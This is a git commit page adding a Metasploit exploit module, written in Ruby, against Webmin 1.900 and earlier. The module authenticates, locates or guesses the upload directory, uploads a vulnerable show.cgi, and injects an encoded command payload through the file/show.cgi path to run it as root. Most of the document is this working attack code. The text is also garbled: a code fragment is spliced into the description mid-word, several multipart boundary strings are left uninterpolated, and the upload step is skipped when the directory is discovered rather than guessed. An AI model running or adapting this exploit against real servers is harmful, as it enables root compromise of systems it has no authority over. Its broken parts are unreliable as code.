Add Webmin 1900 Remote Code Exec Module
Adding Webmin RCE module affecting Webmin <= 1.900. Module attempts to use the Running Processes (proc) permission to determine upload dir, if the permission is not set the module fails. The user can attempt the exploit without this permission by setting the 'GUESSUPLOAD' opt to true. The default path is in an array of 1 to allow for other OS/Version default paths to be added in future.master
Ziconius
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f589db6831
commit
08e1f86390
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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'uri'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::FileDropper
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Webmin 1.900 - Remote Command Execution',
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'Description' => %q(
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This module exploits an arbitrary command execution vulnerability in Webmin
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1.900 and lower versions. Any user authorized to the "Java file manager"
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and "Upload and Download" fields, to execute arbitrary commands with root privileges.
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In addition, "Running Processes" field must be authorized to discover the directory to be uploaded.
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A vulnerable file can be printed on the original files of the Webmin application.
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The vulberable file we are uploading should be integrated with the application.
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Therefore, a ".cgi" file with the vulnerability belong to webmin application should be used.
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The module has been tested successfully with Webmin 1900 over Debia'cookie' => "redirect=1; testing=1; sid=#{session}"n 4.9.18.
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Update: The update to this module allows the user to set 'GUESSUPLOAD' to true, which will attempt
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to upload the files to known default locations. This removes 'proc' permission requirement, meaning
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attackers only need 'file' and 'updown' permissions.
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),
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'Author' => [
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'AkkuS <Özkan Mustafa Akkuş>', # Vulnerability Discovery, Initial PoC module
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'Ziconius <Kris.Anderson[at]immersivelabs.com>' # Updated MSF module; removing 'proc' requirement.
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['URL', 'https://pentest.com.tr/exploits/Webmin-1900-Remote-Command-Execution.html']
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],
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'Privileged' => true,
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'Payload' =>
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{
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'DisableNops' => true,
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'Space' => 512,
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic perl ruby python telnet'
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}
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},
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Targets' => [['Webmin <= 1.900', {}]],
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'DisclosureDate' => 'Jan 17 2019',
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'DefaultTarget' => 0)
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)
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register_options(
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[
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Opt::RPORT(10000),
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OptBool.new('SSL', [true, 'Use SSL', true]),
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OptBool.new('GUESSUPLOAD', [true, "If the 'Running Process' permission is not given to the user guess the path.", false]),
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OptString.new('USERNAME', [true, 'Webmin Username']),
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OptString.new('PASSWORD', [true, 'Webmin Password'])
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], self.class
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)
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end
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##
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# Target and input verification
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##
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def check
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vprint_status("Attempting to login...")
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data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"
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res = send_request_cgi(
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{
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'method' => 'POST',
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'uri' => "/session_login.cgi",
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'cookie' => "testing=1",
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'data' => data
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}, 25
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)
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if res && res.code == 302 && res.get_cookies =~ /sid/
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print_good "Login successful"
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session = res.get_cookies.split("sid=")[1].split(";")[0]
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else
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print_error "Service found, but login failed"
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return Exploit::CheckCode::Detected
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end
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print_status("Attempting to execute...")
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command = "echo #{rand_text_alphanumeric(rand(0..9))}"
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res = send_request_cgi(
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{
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'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(5)}|#{command}|",
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'cookie' => "sid=#{session}"
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}, 25
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)
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if res && res.code == 200 && res.message =~ /Document follows/
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return Exploit::CheckCode::Vulnerable
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else
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return Exploit::CheckCode::Safe
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end
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end
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##
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# Exploiting phase
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##
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def exploit
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peer = "#{rhost}:#{rport}"
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print_status("Attempting to login...")
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data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"
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res = send_request_cgi(
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{
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'method' => 'POST',
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'uri' => "/session_login.cgi",
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'cookie' => "testing=1",
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'data' => data
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}, 25
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)
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if res && res.code == 302 && res.get_cookies =~ /sid/
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session = res.get_cookies.scan(/sid\=(\w+)\;*/).flatten[0] || ''
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if session && !session.empty?
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print_good "Login successfully"
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else
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print_error "Authentication failed"
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return
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end
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else
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print_error "Authentication failed"
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return
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end
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##
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# Directory and SSL verification for referer
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##
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ps = datastore['SSL'].to_s
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guess_dir = datastore['GUESSUPLOAD'].to_s
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if ps == "true"
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ssl = "https://"
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else
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ssl = "http://"
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end
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print_status("Target URL => #{ssl}#{peer}")
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res1 = send_request_raw(
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'method' => "POST",
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'uri' => "/proc/index_tree.cgi?",
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'headers' =>
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{
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'Referer' => "#{ssl}#{peer}/sysinfo.cgi?xnavigation=1"
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},
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'cookie' => "redirect=1; testing=1; sid=#{session}"
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)
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if res1 && res1.code == 200 && res1.body =~ /Running Processes/
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print_status "Searching for directory to upload..."
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stpdir =
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res1
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.body.scan(/perl.+miniserv.pl/)
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.map { |s| s.split("perl ").last }
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.map { |d| d.split("miniserv").first }
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.map { |d| d.split("miniserv").first }
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if !stpdir[0].nil?
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dir = stpdir[0] + "file"
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print_good("Directory to upload => #{dir}")
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elsif guess_dir == "true" && stpdir[0].nil?
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array = ["/usr/share/webmin/file"]
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array.each do |i|
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print_good("Attempting: " + i)
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upload_attempt(ssl, peer, session, i)
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end
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else
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print_error("Running processed check failed, not guessing uploads. Quitting.")
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return
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end
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else
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print_error "No access to processes or no upload directory found."
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return
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end
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##
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# Loading phase of the vulnerable file
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# Command execution and shell retrieval
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##
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print_status("Attempting to execute the payload...")
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command = payload.encoded
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res = send_request_cgi(
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{
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'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(rand(0..9))}|#{command}|",
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'cookie' => "sid=#{session}"
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}, 25
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)
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if res && res.code == 200 && res.message =~ /Document follows/
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print_good "Payload executed successfully"
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else
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print_error "Error executing the payload"
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return
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end
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end
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def upload_attempt(ssl, peer, session, dir)
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boundary = Rex::Text.rand_text_alphanumeric(29)
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data2 = "-----------------------------#{boundary}\r\n"
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data2 << "Content-Disposition: form-data; name=\"upload0\"; filename=\"show.cgi\"\r\n"
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data2 << "Content-Type: application/octet-stream\r\n\r\n"
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data2 << "#!/usr/local/bin/perl\n# show.cgi\n# Output some file for the browser\n\n"
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data2 << "$trust_unknown_referers = 1;\nrequire './file-lib.pl';\n&ReadParse();\nuse POSIX;\n"
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data2 << "$p = $ENV{'PATH_INFO'};\nif ($in{'type'}) {\n\t# Use the supplied content type\n\t"
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data2 << "$type = $in{'type'};\n\t$download = 1;\n\t}\nelsif ($in{'format'} == 1) {\n\t"
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data2 << "# Type comes from compression format\n\t$type = \"application/zip\";\n\t}\n"
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data2 << "elsif ($in{'format'} == 2) {\n\t$type = \"application/x-gzip\";\n\t}\n"
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data2 << "elsif ($in{'format'} == 3) {\n\t$type = \"application/x-tar\";\n\t}\nelse {\n\t"
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data2 << "# Try to guess type from filename\n\t$type = &guess_mime_type($p, undef);\n\t"
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data2 << "if (!$type) {\n\t\t# No idea .. use the 'file' command\n\t\t"
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data2 << "$out = &backquote_command(\"file \".\n\t\t\t\t\t quotemeta(&resolve_links($p)), 1);\n\t\t"
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data2 << "if ($out =~ /text|script/) {\n\t\t\t$type = \"text/plain\";\n\t\t\t}\n\t\telse {\n\t\t\t"
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data2 << "$type = \"application/unknown\";\n\t\t\t}\n\t\t}\n\t}\n\n# Dump the file\n&switch_acl_uid();\n"
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data2 << "$temp = &transname();\nif (!&can_access($p)) {\n\t# ACL rules prevent access to file\n\t"
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data2 << "&error_exit(&text('view_eaccess', &html_escape($p)));\n\t}\n$p = &unmake_chroot($p);\n\n"
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data2 << "if ($in{'format'}) {\n\t# An archive of a directory was requested .. create it\n\t"
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data2 << "$archive || &error_exit($text{'view_earchive'});\n\tif ($in{'format'} == 1) {\n\t\t"
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data2 << "$p =~ s/\\.zip$//;\n\t\t}\n\telsif ($in{'format'} == 2) {\n\t\t$p =~ s/\\.tgz$//;\n\t\t}\n\t"
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data2 << "elsif ($in{'format'} == 3) {\n\t\t$p =~ s/\\.tar$//;\n\t\t}\n\t-d $p || &error_exit($text{'view_edir'}.\" \".&html_escape($p));\n\t"
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data2 << "if ($archive == 2 && $archmax > 0) {\n\t\t# Check if directory is too large to archive\n\t\tlocal $kb = &disk_usage_kb($p);\n\t\t"
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data2 << "if ($kb*1024 > $archmax) {\n\t\t\t&error_exit(&text('view_earchmax', $archmax));\n\t\t\t}\n\t\t}\n\n\t"
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data2 << "# Work out the base directory and filename\n\tif ($p =~ /^(.*\\/)([^\\/]+)$/) {\n\t\t$pdir = $1;\n\t\t"
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data2 << "$pfile = $2;\n\t\t}\n\telse {\n\t\t$pdir = \"/\";\n\t\t$pfile = $p;\n\t\t}\n\n\t"
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data2 << "# Work out the command to run\n\tif ($in{'format'} == 1) {\n\t\t"
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data2 << "&has_command(\"zip\") || &error_exit(&text('view_ecmd', \"zip\"));\n\t\t"
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data2 << "$cmd = \"zip -r $temp \".quotemeta($pfile);\n\t\t}\n\telsif ($in{'format'} == 2) {\n\t\t"
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data2 << "&has_command(\"tar\") || &error_exit(&text('view_ecmd', \"tar\"));\n\t\t"
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data2 << "&has_command(\"gzip\") || &error_exit(&text('view_ecmd', \"gzip\"));\n\t\t"
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data2 << "$cmd = \"tar cf - \".quotemeta($pfile).\" | gzip -c >$temp\";\n\t\t}\n\t"
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data2 << "elsif ($in{'format'} == 3) {\n\t\t&has_command(\"tar\") || &error_exit(&text('view_ecmd', \"tar\"));\n\t\t"
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data2 << "$cmd = \"tar cf $temp \".quotemeta($pfile);\n\t\t}\n\n\tif ($in{'test'}) {\n\t\t"
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data2 << "# Don't actually do anything if in test mode\n\t\t&ok_exit();\n\t\t}\n\n\t"
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data2 << "# Run the command, and send back the resulting file\n\tlocal $qpdir = quotemeta($pdir);\n\t"
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data2 << "local $out = `cd $qpdir ; ($cmd) 2>&1 </dev/null`;\n\tif ($?) {\n\t\tunlink($temp);\n\t\t"
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data2 << "&error_exit(&text('view_ecomp', &html_escape($out)));\n\t\t}\n\tlocal @st = stat($temp);\n\t"
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data2 << "print \"Content-length: $st[7]\\n\";\n\tprint \"Content-type: $type\\n\\n\";\n\t"
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data2 << "open(FILE, $temp);\n\tunlink($temp);\n\twhile(read(FILE, $buf, 1024)) {\n\t\tprint $buf;\n\t\t}\n\t"
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data2 << "close(FILE);\n\t}\nelse {\n\tif (!open(FILE, $p)) {\n\t\t# Unix permissions prevent access\n\t\t"
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data2 << "&error_exit(&text('view_eopen', $p, $!));\n\t\t}\n\n\tif ($in{'test'}) {\n\t\t"
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data2 << "# Don't actually do anything if in test mode\n\t\tclose(FILE);\n\t\t"
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data2 << "&ok_exit();\n\t\t}\n\n\t@st = stat($p);\n\tprint \"X-no-links: 1\\n\";\n\t"
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data2 << "print \"Content-length: $st[7]\\n\";\n\tprint \"Content-Disposition: Attachment\\n\" if ($download);\n\t"
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data2 << "print \"Content-type: $type\\n\\n\";\n\tif ($type =~ /^text\\/html/i && !$in{'edit'}) {\n\t\t"
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data2 << "while(read(FILE, $buf, 1024)) {\n\t\t\t$data .= $buf;\n\t\t\t}\n\t\tprint &filter_javascript($data);\n\t\t"
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data2 << "}\n\telse {\n\t\twhile(read(FILE, $buf, 1024)) {\n\t\t\tprint $buf;\n\t\t\t}\n\t\t}\n\tclose(FILE);\n\t}\n\n"
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data2 << "sub error_exit\n{\nprint \"Content-type: text/plain\\n\";\n"
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data2 << "print \"Content-length: \",length($_[0]),\"\\n\\n\";\nprint $_[0];\nexit;\n}\n\n"
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data2 << "sub ok_exit\n{\nprint \"Content-type: text/plain\\n\\n\";\nprint \"\\n\";\nexit;\n}"
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data2 << "\r\n\r\n"
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data2 << "-----------------------------{boundary}\r\n"
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data2 << "Content-Disposition: form-data; name=\"dir\"\r\n\r\n#{dir}\r\n"
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data2 << "-----------------------------{boundary}\r\n"
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data2 << "Content-Disposition: form-data; name=\"user\"\r\n\r\nroot\r\n"
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data2 << "-----------------------------{boundary}\r\n"
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data2 << "Content-Disposition: form-data; name=\"group_def\"\r\n\r\n1\r\n"
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data2 << "-----------------------------{boundary}\r\n"
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data2 << "Content-Disposition: form-data; name=\"group\"\r\n\r\n\r\n"
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data2 << "-----------------------------{boundary}\r\n"
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data2 << "Content-Disposition: form-data; name=\"zip\"\r\n\r\n0\r\n"
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data2 << "-----------------------------{boundary}\r\n"
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data2 << "Content-Disposition: form-data; name=\"email_def\"\r\n\r\n1\r\n"
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data2 << "-----------------------------{boundary}\r\n"
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data2 << "Content-Disposition: form-data; name=\"ok\"\r\n\r\nUpload\r\n"
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data2 << "-----------------------------{boundary}--\r\n"
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res2 = send_request_raw(
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'method' => "POST",
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'uri' => "/updown/upload.cgi?id=154739243511",
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'data' => data2,
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'headers' =>
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{
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'Content-Type' => 'multipart/form-data; boundary=---------------------------{boundary}',
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'Referer' => "#{ssl}#{peer}/updown/?xnavigation=1"
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},
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'cookie' => "redirect=1; testing=1; sid=#{session}"
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)
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if res2 && res2.code == 200 && res2.body =~ /Saving file/
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print_good "Vulnerable show.cgi file was successfully uploaded."
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else
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print_error "Upload failed."
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return
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end
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end
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end
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